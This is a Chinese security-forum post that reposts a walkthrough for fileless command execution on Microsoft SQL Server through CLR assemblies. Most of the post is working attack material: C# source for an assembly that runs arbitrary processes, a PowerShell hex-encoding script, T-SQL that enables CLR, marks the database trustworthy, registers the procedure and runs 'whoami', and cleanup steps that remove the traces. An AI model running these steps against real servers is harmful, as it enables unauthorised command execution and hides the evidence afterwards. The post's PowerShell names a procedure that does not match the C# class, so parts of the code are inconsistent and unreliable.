安全矩阵

 找回密码
 立即注册
搜索
查看: 5016|回复: 0

MSSQL[CRL]不落地执行

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-26 08:55:19 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-10-26 08:56 编辑

原文链接:MSSQL[CRL]不落地执行

一、mssql clr介绍:
在 mssql 2005 之后的版本中,默认新增了对 clr 的支持,支持.net 框架
二、利用过程
首先创建一个dll,dll的功能命令执行
  1. using System; using System.Data; using System.Diagnostics; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.Threading; using System.Runtime.InteropServices; namespace Hi.Test { public class SQLClr {                public static string Run( string proc, string arg )                {                    try   { Process p = new Process();    p.StartInfo.FileName = proc;    p.StartInfo.Arguments = arg;    p.StartInfo.UseShellExecute = false;    p.StartInfo.RedirectStandardOutput = true;    p.StartInfo.RedirectStandardError = true;    p.Start();    p.WaitForExit();    return(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd() );   }   catch ( Exception ex ) { return(ex.ToString() );   }                }                  public static void RunProc( string proc, string arg )                {                    SqlDataRecord record = new SqlDataRecord( new SqlMetaData( "ret", SqlDbType.NVarChar, 4000 ) );   SqlContext.Pipe.SendResultsStart( record );   record.SetString( 0, Run( proc, arg ) );   SqlContext.Pipe.SendResultsRow( record );   SqlContext.Pipe.SendResultsEnd();                }                  public static string ProcessArch()                {                    return(Marshal.SizeOf( typeof(IntPtr) ) == 8 ? "x64" : "x86");                }                  [DllImport( "kernel32.dll" )] static extern IntPtr VirtualAlloc( IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect );            } }
复制代码

本地编译后生成dll文件:C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /target:library c:\1.cs


因为要不落地执行,所以要把生成出来的文件转成hex,用到powershell转成hex
  1. $assemblyFile = "C:\Users\hello\Desktop\1.dll"
  2. $stringBuilder = New-Object -Type System.Text.StringBuilder
  3. $stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null
  4. $fileStream = [IO.File]::OpenRead($assemblyFile)
  5. while (($byte = $fileStream.ReadByte()) -gt -1) {     
  6.     $stringBuilder.Append($byte.ToString("X2")) | Out-Null
  7.     }
  8. $stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null
  9. $stringBuilder.AppendLine("GO") | Out-Null
  10. $stringBuilder.AppendLine(" ") | Out-Null
  11. $stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[clr_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[clr_exec];") | Out-Null
  12. $stringBuilder.AppendLine("GO") | Out-Null
  13. $stringBuilder.AppendLine(" ") | Out-Null
  14. $stringBuilder.AppendLine("EXEC[dbo].[clr_exec] 'whoami'") | Out-Null
  15. $stringBuilder.AppendLine("GO") | Out-Null
  16. $stringBuilder.AppendLine(" ") | Out-Null
  17. $stringBuilder.ToString() -join "" | Out-File d:\2221.txt
复制代码

利用上面的那段 hex 创建存储过程,执行系统命令,单句执行。

use msdb;
alter database master set trustworthy on;
exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'clr enabled',1;reconfigure;
create assembly sysinfo from 0x.....   with permission_set=unsafe;
create procedure sysinfo_run_proc(@proc nvarchar(max),@arg nvarchar(max)) as external name sysinfo.[Hi.Test.SQLClr].RunProc;
create function sysinfo_run(@proc nvarchar(max),@arg nvarchar(max)) returns nvarchar(max) as external name sysinfo.[Hi.Test.SQLClr].Run;
select msdb.dbo.sysinfo_run('whoami','/user')


利用完毕之后删除创建的存储过程,恢复clr为原始状态
drop function sysinfo_run;
drop procedure sysinfo_run_proc;
drop assembly sysinfo;
exec sp_configure 'clr enabled',0;
RECONFIGURE WITH OVERRIDE;
exec sp_configure 'show advanced options',0;
RECONFIGURE WITH OVERRIDE;












回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 16:29 , Processed in 0.014650 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表